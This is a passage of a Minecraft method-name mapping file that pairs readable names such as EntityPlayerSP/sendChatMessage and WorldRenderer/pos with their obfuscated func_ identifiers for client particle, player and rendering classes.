net/minecraft/client/particle/EntityDiggingFX/setBlockPos (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/particle/EntityDiggingFX; net/minecraft/client/particle/EntityDiggingFX/func_174846_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/particle/EntityDiggingFX; +MD: net/minecraft/client/particle/EntityDiggingFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityDiggingFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityDiggingFX/func_174845_l ()Lnet/minecraft/client/particle/EntityDiggingFX; net/minecraft/client/particle/EntityDiggingFX/func_174845_l ()Lnet/minecraft/client/particle/EntityDiggingFX; +MD: net/minecraft/client/particle/EntityParticleEmitter/getFXLayer ()I net/minecraft/client/particle/EntityParticleEmitter/func_70537_b ()I +MD: net/minecraft/client/particle/EntityParticleEmitter/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityParticleEmitter/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityParticleEmitter/onUpdate ()V net/minecraft/client/particle/EntityParticleEmitter/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFishWakeFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityFishWakeFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityFishWakeFX/onUpdate ()V net/minecraft/client/particle/EntityFishWakeFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityRainFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityRainFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityRainFX/onUpdate ()V net/minecraft/client/particle/EntityRainFX/func_70071_h_ ()V +MD: net/minecraft/client/entity/AbstractClientPlayer/hasPlayerInfo ()Z net/minecraft/client/entity/AbstractClientPlayer/func_152122_n ()Z +MD: net/minecraft/client/entity/AbstractClientPlayer/getDownloadImageSkin (Lnet/minecraft/util/ResourceLocation;Ljava/lang/String;)Lnet/minecraft/client/renderer/ThreadDownloadImageData; net/minecraft/client/entity/AbstractClientPlayer/func_110304_a (Lnet/minecraft/util/ResourceLocation;Ljava/lang/String;)Lnet/minecraft/client/renderer/ThreadDownloadImageData; +MD: net/minecraft/client/entity/AbstractClientPlayer/getPlayerInfo ()Lnet/minecraft/client/network/NetworkPlayerInfo; net/minecraft/client/entity/AbstractClientPlayer/func_175155_b ()Lnet/minecraft/client/network/NetworkPlayerInfo; +MD: net/minecraft/client/entity/AbstractClientPlayer/getLocationSkin (Ljava/lang/String;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/entity/AbstractClientPlayer/func_110311_f (Ljava/lang/String;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/entity/AbstractClientPlayer/hasSkin ()Z net/minecraft/client/entity/AbstractClientPlayer/func_152123_o ()Z +MD: net/minecraft/client/entity/AbstractClientPlayer/getLocationSkin ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/entity/AbstractClientPlayer/func_110306_p ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/entity/AbstractClientPlayer/getLocationCape ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/entity/AbstractClientPlayer/func_110303_q ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/entity/AbstractClientPlayer/getSkinType ()Ljava/lang/String; net/minecraft/client/entity/AbstractClientPlayer/func_175154_l ()Ljava/lang/String; +MD: net/minecraft/client/entity/AbstractClientPlayer/getFovModifier ()F net/minecraft/client/entity/AbstractClientPlayer/func_175156_o ()F +MD: net/minecraft/client/entity/AbstractClientPlayer/isSpectator ()Z net/minecraft/client/entity/AbstractClientPlayer/func_175149_v ()Z +MD: net/minecraft/util/MovementInput/updatePlayerMoveState ()V net/minecraft/util/MovementInput/func_78898_a ()V +MD: net/minecraft/util/MovementInputFromOptions/updatePlayerMoveState ()V net/minecraft/util/MovementInputFromOptions/func_78898_a ()V +MD: net/minecraft/client/entity/EntityPlayerSP/isCurrentViewEntity ()Z net/minecraft/client/entity/EntityPlayerSP/func_175160_A ()Z +MD: net/minecraft/client/entity/EntityPlayerSP/setXPStats (FII)V net/minecraft/client/entity/EntityPlayerSP/func_71152_a (FII)V +MD: net/minecraft/client/entity/EntityPlayerSP/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/client/entity/EntityPlayerSP/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/client/entity/EntityPlayerSP/displayVillagerTradeGui (Lnet/minecraft/entity/IMerchant;)V net/minecraft/client/entity/EntityPlayerSP/func_180472_a (Lnet/minecraft/entity/IMerchant;)V +MD: net/minecraft/client/entity/EntityPlayerSP/openEditCommandBlock (Lnet/minecraft/command/server/CommandBlockLogic;)V net/minecraft/client/entity/EntityPlayerSP/func_146095_a (Lnet/minecraft/command/server/CommandBlockLogic;)V +MD: net/minecraft/client/entity/EntityPlayerSP/openEditSign (Lnet/minecraft/tileentity/TileEntitySign;)V net/minecraft/client/entity/EntityPlayerSP/func_175141_a (Lnet/minecraft/tileentity/TileEntitySign;)V +MD: net/minecraft/client/entity/EntityPlayerSP/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/entity/EntityPlayerSP/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/entity/EntityPlayerSP/playSound (Ljava/lang/String;FF)V net/minecraft/client/entity/EntityPlayerSP/func_85030_a (Ljava/lang/String;FF)V +MD: net/minecraft/client/entity/EntityPlayerSP/addStat (Lnet/minecraft/stats/StatBase;I)V net/minecraft/client/entity/EntityPlayerSP/func_71064_a (Lnet/minecraft/stats/StatBase;I)V +MD: net/minecraft/client/entity/EntityPlayerSP/displayGUIChest (Lnet/minecraft/inventory/IInventory;)V net/minecraft/client/entity/EntityPlayerSP/func_71007_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/client/entity/EntityPlayerSP/displayGui (Lnet/minecraft/world/IInteractionObject;)V net/minecraft/client/entity/EntityPlayerSP/func_180468_a (Lnet/minecraft/world/IInteractionObject;)V +MD: net/minecraft/client/entity/EntityPlayerSP/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/client/entity/EntityPlayerSP/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/client/entity/EntityPlayerSP/mountEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/client/entity/EntityPlayerSP/func_70078_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/entity/EntityPlayerSP/displayGUIHorse (Lnet/minecraft/entity/passive/EntityHorse;Lnet/minecraft/inventory/IInventory;)V net/minecraft/client/entity/EntityPlayerSP/func_110298_a (Lnet/minecraft/entity/passive/EntityHorse;Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/client/entity/EntityPlayerSP/joinEntityItemWithWorld (Lnet/minecraft/entity/item/EntityItem;)V net/minecraft/client/entity/EntityPlayerSP/func_71012_a (Lnet/minecraft/entity/item/EntityItem;)V +MD: net/minecraft/client/entity/EntityPlayerSP/displayGUIBook (Lnet/minecraft/item/ItemStack;)V net/minecraft/client/entity/EntityPlayerSP/func_71048_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/entity/EntityPlayerSP/dropOneItem (Z)Lnet/minecraft/entity/item/EntityItem; net/minecraft/client/entity/EntityPlayerSP/func_71040_bB (Z)Lnet/minecraft/entity/item/EntityItem; +MD: net/minecraft/client/entity/EntityPlayerSP/isSneaking ()Z net/minecraft/client/entity/EntityPlayerSP/func_70093_af ()Z +MD: net/minecraft/client/entity/EntityPlayerSP/addChatComponentMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/entity/EntityPlayerSP/func_146105_b (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/entity/EntityPlayerSP/onCriticalHit (Lnet/minecraft/entity/Entity;)V net/minecraft/client/entity/EntityPlayerSP/func_71009_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/entity/EntityPlayerSP/updateEntityActionState ()V net/minecraft/client/entity/EntityPlayerSP/func_70626_be ()V +MD: net/minecraft/client/entity/EntityPlayerSP/isServerWorld ()Z net/minecraft/client/entity/EntityPlayerSP/func_70613_aW ()Z +MD: net/minecraft/client/entity/EntityPlayerSP/swingItem ()V net/minecraft/client/entity/EntityPlayerSP/func_71038_i ()V +MD: net/minecraft/client/entity/EntityPlayerSP/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/client/entity/EntityPlayerSP/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/client/entity/EntityPlayerSP/onEnchantmentCritical (Lnet/minecraft/entity/Entity;)V net/minecraft/client/entity/EntityPlayerSP/func_71047_c (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/entity/EntityPlayerSP/respawnPlayer ()V net/minecraft/client/entity/EntityPlayerSP/func_71004_bE ()V +MD: net/minecraft/client/entity/EntityPlayerSP/isUser ()Z net/minecraft/client/entity/EntityPlayerSP/func_175144_cb ()Z +MD: net/minecraft/client/entity/EntityPlayerSP/damageEntity (Lnet/minecraft/util/DamageSource;F)V net/minecraft/client/entity/EntityPlayerSP/func_70665_d (Lnet/minecraft/util/DamageSource;F)V +MD: net/minecraft/client/entity/EntityPlayerSP/setSprinting (Z)V net/minecraft/client/entity/EntityPlayerSP/func_70031_b (Z)V +MD: net/minecraft/client/entity/EntityPlayerSP/isOpenBlockSpace (Lnet/minecraft/util/BlockPos;)Z net/minecraft/client/entity/EntityPlayerSP/func_175162_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/client/entity/EntityPlayerSP/sendChatMessage (Ljava/lang/String;)V net/minecraft/client/entity/EntityPlayerSP/func_71165_d (Ljava/lang/String;)V +MD: net/minecraft/client/entity/EntityPlayerSP/setClientBrand (Ljava/lang/String;)V net/minecraft/client/entity/EntityPlayerSP/func_175158_f (Ljava/lang/String;)V +MD: net/minecraft/client/entity/EntityPlayerSP/heal (F)V net/minecraft/client/entity/EntityPlayerSP/func_70691_i (F)V +MD: net/minecraft/client/entity/EntityPlayerSP/pushOutOfBlocks (DDD)Z net/minecraft/client/entity/EntityPlayerSP/func_145771_j (DDD)Z +MD: net/minecraft/client/entity/EntityPlayerSP/onLivingUpdate ()V net/minecraft/client/entity/EntityPlayerSP/func_70636_d ()V +MD: net/minecraft/client/entity/EntityPlayerSP/closeScreen ()V net/minecraft/client/entity/EntityPlayerSP/func_71053_j ()V +MD: net/minecraft/client/entity/EntityPlayerSP/setPlayerSPHealth (F)V net/minecraft/client/entity/EntityPlayerSP/func_71150_b (F)V +MD: net/minecraft/client/entity/EntityPlayerSP/onUpdateWalkingPlayer ()V net/minecraft/client/entity/EntityPlayerSP/func_175161_p ()V +MD: net/minecraft/client/entity/EntityPlayerSP/closeScreenAndDropStack ()V net/minecraft/client/entity/EntityPlayerSP/func_175159_q ()V +MD: net/minecraft/client/entity/EntityPlayerSP/sendHorseJump ()V net/minecraft/client/entity/EntityPlayerSP/func_110318_g ()V +MD: net/minecraft/client/entity/EntityPlayerSP/sendPlayerAbilities ()V net/minecraft/client/entity/EntityPlayerSP/func_71016_p ()V +MD: net/minecraft/client/entity/EntityPlayerSP/onUpdate ()V net/minecraft/client/entity/EntityPlayerSP/func_70071_h_ ()V +MD: net/minecraft/client/entity/EntityPlayerSP/sendHorseInventory ()V net/minecraft/client/entity/EntityPlayerSP/func_175163_u ()V +MD: net/minecraft/client/entity/EntityPlayerSP/getClientBrand ()Ljava/lang/String; net/minecraft/client/entity/EntityPlayerSP/func_142021_k ()Ljava/lang/String; +MD: net/minecraft/client/entity/EntityPlayerSP/getStatFileWriter ()Lnet/minecraft/stats/StatFileWriter; net/minecraft/client/entity/EntityPlayerSP/func_146107_m ()Lnet/minecraft/stats/StatFileWriter; +MD: net/minecraft/client/entity/EntityPlayerSP/isRidingHorse ()Z net/minecraft/client/entity/EntityPlayerSP/func_110317_t ()Z +MD: net/minecraft/client/entity/EntityPlayerSP/getHorseJumpPower ()F net/minecraft/client/entity/EntityPlayerSP/func_110319_bJ ()F +MD: net/minecraft/client/entity/EntityOtherPlayerMP/setPositionAndRotation2 (DDDFFIZ)V net/minecraft/client/entity/EntityOtherPlayerMP/func_180426_a (DDDFFIZ)V +MD: net/minecraft/client/entity/EntityOtherPlayerMP/canCommandSenderUseCommand (ILjava/lang/String;)Z net/minecraft/client/entity/EntityOtherPlayerMP/func_70003_b (ILjava/lang/String;)Z +MD: net/minecraft/client/entity/EntityOtherPlayerMP/addChatMessage (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/entity/EntityOtherPlayerMP/func_145747_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/entity/EntityOtherPlayerMP/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/client/entity/EntityOtherPlayerMP/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/client/entity/EntityOtherPlayerMP/getPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/client/entity/EntityOtherPlayerMP/func_180425_c ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/client/entity/EntityOtherPlayerMP/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/client/entity/EntityOtherPlayerMP/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/entity/EntityOtherPlayerMP/onLivingUpdate ()V net/minecraft/client/entity/EntityOtherPlayerMP/func_70636_d ()V +MD: net/minecraft/client/entity/EntityOtherPlayerMP/onUpdate ()V net/minecraft/client/entity/EntityOtherPlayerMP/func_70071_h_ ()V +MD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/client/player/inventory/LocalBlockIntercommunication/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/getName ()Ljava/lang/String; net/minecraft/client/player/inventory/LocalBlockIntercommunication/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/player/inventory/LocalBlockIntercommunication/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/getGuiID ()Ljava/lang/String; net/minecraft/client/player/inventory/LocalBlockIntercommunication/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/client/player/inventory/LocalBlockIntercommunication/hasCustomName ()Z net/minecraft/client/player/inventory/LocalBlockIntercommunication/func_145818_k_ ()Z +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/setLockCode (Lnet/minecraft/world/LockCode;)V net/minecraft/client/player/inventory/ContainerLocalMenu/func_174892_a (Lnet/minecraft/world/LockCode;)V +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/createContainer (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; net/minecraft/client/player/inventory/ContainerLocalMenu/func_174876_a (Lnet/minecraft/entity/player/InventoryPlayer;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/inventory/Container; +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/getField (I)I net/minecraft/client/player/inventory/ContainerLocalMenu/func_174887_a_ (I)I +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/setField (II)V net/minecraft/client/player/inventory/ContainerLocalMenu/func_174885_b (II)V +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/getFieldCount ()I net/minecraft/client/player/inventory/ContainerLocalMenu/func_174890_g ()I +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/getLockCode ()Lnet/minecraft/world/LockCode; net/minecraft/client/player/inventory/ContainerLocalMenu/func_174891_i ()Lnet/minecraft/world/LockCode; +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/getGuiID ()Ljava/lang/String; net/minecraft/client/player/inventory/ContainerLocalMenu/func_174875_k ()Ljava/lang/String; +MD: net/minecraft/client/player/inventory/ContainerLocalMenu/isLocked ()Z net/minecraft/client/player/inventory/ContainerLocalMenu/func_174893_q_ ()Z +MD: net/minecraft/command/server/CommandSetDefaultSpawnpoint/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandSetDefaultSpawnpoint/func_82362_a ()I +MD: net/minecraft/command/server/CommandSetDefaultSpawnpoint/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandSetDefaultSpawnpoint/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandSetDefaultSpawnpoint/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandSetDefaultSpawnpoint/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandSetDefaultSpawnpoint/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandSetDefaultSpawnpoint/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSetDefaultSpawnpoint/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandSetDefaultSpawnpoint/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/boss/BossStatus/setBossStatus (Lnet/minecraft/entity/boss/IBossDisplayData;Z)V net/minecraft/entity/boss/BossStatus/func_82824_a (Lnet/minecraft/entity/boss/IBossDisplayData;Z)V +MD: net/minecraft/client/renderer/WorldRenderer$1/compare (Ljava/lang/Integer;Ljava/lang/Integer;)I net/minecraft/client/renderer/WorldRenderer$1/compare (Ljava/lang/Integer;Ljava/lang/Integer;)I +MD: net/minecraft/client/renderer/WorldRenderer$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/client/renderer/WorldRenderer$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/client/renderer/WorldRenderer$State/getRawBuffer ()[I net/minecraft/client/renderer/WorldRenderer$State/func_179013_a ()[I +MD: net/minecraft/client/renderer/WorldRenderer$State/getVertexCount ()I net/minecraft/client/renderer/WorldRenderer$State/func_179014_c ()I +MD: net/minecraft/client/renderer/WorldRenderer$State/getVertexFormat ()Lnet/minecraft/client/renderer/vertex/VertexFormat; net/minecraft/client/renderer/WorldRenderer$State/func_179016_d ()Lnet/minecraft/client/renderer/vertex/VertexFormat; +MD: net/minecraft/client/renderer/WorldRenderer/getVertexState ()Lnet/minecraft/client/renderer/WorldRenderer$State; net/minecraft/client/renderer/WorldRenderer/func_181672_a ()Lnet/minecraft/client/renderer/WorldRenderer$State; +MD: net/minecraft/client/renderer/WorldRenderer/tex (DD)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/WorldRenderer/func_181673_a (DD)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/WorldRenderer/putPosition (DDD)V net/minecraft/client/renderer/WorldRenderer/func_178987_a (DDD)V +MD: net/minecraft/client/renderer/WorldRenderer/sortVertexData (FFF)V net/minecraft/client/renderer/WorldRenderer/func_181674_a (FFF)V +MD: net/minecraft/client/renderer/WorldRenderer/color (FFFF)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/WorldRenderer/func_181666_a (FFFF)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/WorldRenderer/putColorMultiplier (FFFI)V net/minecraft/client/renderer/WorldRenderer/func_178978_a (FFFI)V +MD: net/minecraft/client/renderer/WorldRenderer/putColor4 (I)V net/minecraft/client/renderer/WorldRenderer/func_178968_d (I)V +MD: net/minecraft/client/renderer/WorldRenderer/lightmap (II)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/WorldRenderer/func_181671_a (II)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/WorldRenderer/putBrightness4 (IIII)V net/minecraft/client/renderer/WorldRenderer/func_178962_a (IIII)V +MD: net/minecraft/client/renderer/WorldRenderer/putColorRGBA (IIIII)V net/minecraft/client/renderer/WorldRenderer/func_178972_a (IIIII)V +MD: net/minecraft/client/renderer/WorldRenderer/begin (ILnet/minecraft/client/renderer/vertex/VertexFormat;)V net/minecraft/client/renderer/WorldRenderer/func_181668_a (ILnet/minecraft/client/renderer/vertex/VertexFormat;)V +MD: net/minecraft/client/renderer/WorldRenderer/setVertexState (Lnet/minecraft/client/renderer/WorldRenderer$State;)V net/minecraft/client/renderer/WorldRenderer/func_178993_a (Lnet/minecraft/client/renderer/WorldRenderer$State;)V +MD: net/minecraft/client/renderer/WorldRenderer/getDistanceSq (Ljava/nio/FloatBuffer;FFFII)F net/minecraft/client/renderer/WorldRenderer/func_181665_a (Ljava/nio/FloatBuffer;FFFII)F +MD: net/minecraft/client/renderer/WorldRenderer/addVertexData ([I)V net/minecraft/client/renderer/WorldRenderer/func_178981_a ([I)V +MD: net/minecraft/client/renderer/WorldRenderer/reset ()V net/minecraft/client/renderer/WorldRenderer/func_178965_a ()V +MD: net/minecraft/client/renderer/WorldRenderer/pos (DDD)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/WorldRenderer/func_181662_b (DDD)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/WorldRenderer/putNormal (FFF)V net/minecraft/client/renderer/WorldRenderer/func_178975_e (FFF)V +MD: net/minecraft/client/renderer/WorldRenderer/putColorRGB_F (FFFI)V net/minecraft/client/renderer/WorldRenderer/func_178994_b (FFFI)V +MD: net/minecraft/client/renderer/WorldRenderer/growBuffer (I)V net/minecraft/client/renderer/WorldRenderer/func_181670_b (I)V +MD: net/minecraft/client/renderer/WorldRenderer/putColor (II)V net/minecraft/client/renderer/WorldRenderer/func_178988_b (II)V +MD: net/minecraft/client/renderer/WorldRenderer/color (IIII)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/WorldRenderer/func_181669_b (IIII)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/WorldRenderer/noColor ()V net/minecraft/client/renderer/WorldRenderer/func_78914_f ()V +MD: net/minecraft/client/renderer/WorldRenderer/setTranslation (DDD)V net/minecraft/client/renderer/WorldRenderer/func_178969_c (DDD)V +MD: net/minecraft/client/renderer/WorldRenderer/normal (FFF)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/WorldRenderer/func_181663_c (FFF)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/WorldRenderer/getColorIndex (I)I net/minecraft/client/renderer/WorldRenderer/func_78909_a (I)I +MD: net/minecraft/client/renderer/WorldRenderer/endVertex ()V net/minecraft/client/renderer/WorldRenderer/func_181675_d ()V +MD: net/minecraft/client/renderer/WorldRenderer/putColorRGB_F4 (FFF)V net/minecraft/client/renderer/WorldRenderer/func_178990_f (FFF)V +MD: net/minecraft/client/renderer/WorldRenderer/finishDrawing ()V net/minecraft/client/renderer/WorldRenderer/func_178977_d ()V +MD: net/minecraft/client/renderer/WorldRenderer/getByteBuffer ()Ljava/nio/ByteBuffer; net/minecraft/client/renderer/WorldRenderer/func_178966_f ()Ljava/nio/ByteBuffer; +MD: net/minecraft/client/renderer/WorldRenderer/getVertexFormat ()Lnet/minecraft/client/renderer/vertex/VertexFormat; net/minecraft/client/renderer/WorldRenderer/func_178973_g ()Lnet/minecraft/client/renderer/vertex/VertexFormat; +MD: net/minecraft/client/renderer/WorldRenderer/getVertexCount ()I net/minecraft/client/renderer/WorldRenderer/func_178989_h ()I +MD: net/minecraft/client/renderer/WorldRenderer/getDrawMode ()I net/minecraft/client/renderer/WorldRenderer/func_178979_i ()I +MD: net/minecraft/client/renderer/WorldRenderer/getBufferSize ()I net/minecraft/client/renderer/WorldRenderer/func_181664_j ()I +MD: net/minecraft/client/renderer/WorldRenderer/nextVertexFormatIndex ()V net/minecraft/client/renderer/WorldRenderer/func_181667_k ()V +MD: net/minecraft/client/renderer/WorldVertexBufferUploader/draw (Lnet/minecraft/client/renderer/WorldRenderer;)V net/minecraft/client/renderer/WorldVertexBufferUploader/func_181679_a (Lnet/minecraft/client/renderer/WorldRenderer;)V +MD: net/minecraft/client/renderer/RegionRenderCache/getCombinedLight (Lnet/minecraft/util/BlockPos;I)I net/minecraft/client/renderer/RegionRenderCache/func_175626_b (Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/client/renderer/RegionRenderCache/getBlockStateRaw (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/client/renderer/RegionRenderCache/func_175631_c (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/client/renderer/RegionRenderCache/getPositionIndex (Lnet/minecraft/util/BlockPos;)I net/minecraft/client/renderer/RegionRenderCache/func_175630_e (Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/client/renderer/RegionRenderCache/getBlockState (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/client/renderer/RegionRenderCache/func_180495_p (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/client/renderer/RegionRenderCache/getTileEntity (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; net/minecraft/client/renderer/RegionRenderCache/func_175625_s (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/client/renderer/RegionRenderCacheBuilder/getWorldRendererByLayerId (I)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/RegionRenderCacheBuilder/func_179039_a (I)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/RegionRenderCacheBuilder/getWorldRendererByLayer (Lnet/minecraft/util/EnumWorldBlockLayer;)Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/RegionRenderCacheBuilder/func_179038_a (Lnet/minecraft/util/EnumWorldBlockLayer;)Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/ChunkRenderContainer/initialize (DDD)V net/minecraft/client/renderer/ChunkRenderContainer/func_178004_a (DDD)V +MD: net/minecraft/client/renderer/ChunkRenderContainer/renderChunkLayer (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/ChunkRenderContainer/func_178001_a (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/ChunkRenderContainer/preRenderChunk (Lnet/minecraft/client/renderer/chunk/RenderChunk;)V net/minecraft/client/renderer/ChunkRenderContainer/func_178003_a (Lnet/minecraft/client/renderer/chunk/RenderChunk;)V +MD: net/minecraft/client/renderer/ChunkRenderContainer/addRenderChunk (Lnet/minecraft/client/renderer/chunk/RenderChunk;Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/ChunkRenderContainer/func_178002_a (Lnet/minecraft/client/renderer/chunk/RenderChunk;Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/renderByItem (Lnet/minecraft/item/ItemStack;)V net/minecraft/client/renderer/tileentity/TileEntityItemStackRenderer/func_179022_a (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/renderer/EnumFaceDirection/getVertexInformation (I)Lnet/minecraft/client/renderer/EnumFaceDirection$VertexInformation; net/minecraft/client/renderer/EnumFaceDirection/func_179025_a (I)Lnet/minecraft/client/renderer/EnumFaceDirection$VertexInformation; +MD: net/minecraft/client/renderer/EnumFaceDirection/getFacing (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/EnumFaceDirection; net/minecraft/client/renderer/EnumFaceDirection/func_179027_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/EnumFaceDirection; +MD: net/minecraft/client/renderer/EnumFaceDirection/values ()[Lnet/minecraft/client/renderer/EnumFaceDirection; net/minecraft/client/renderer/EnumFaceDirection/values ()[Lnet/minecraft/client/renderer/EnumFaceDirection; +MD: net/minecraft/client/renderer/EntityRenderer$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/renderer/EntityRenderer$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/renderer/EntityRenderer$1/apply (Ljava/lang/Object;)Z net/minecraft/client/renderer/EntityRenderer$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/EntityRenderer$2/call ()Ljava/lang/String; net/minecraft/client/renderer/EntityRenderer$2/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/EntityRenderer$2/call ()Ljava/lang/Object; net/minecraft/client/renderer/EntityRenderer$2/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/EntityRenderer$3/call ()Ljava/lang/String; net/minecraft/client/renderer/EntityRenderer$3/call 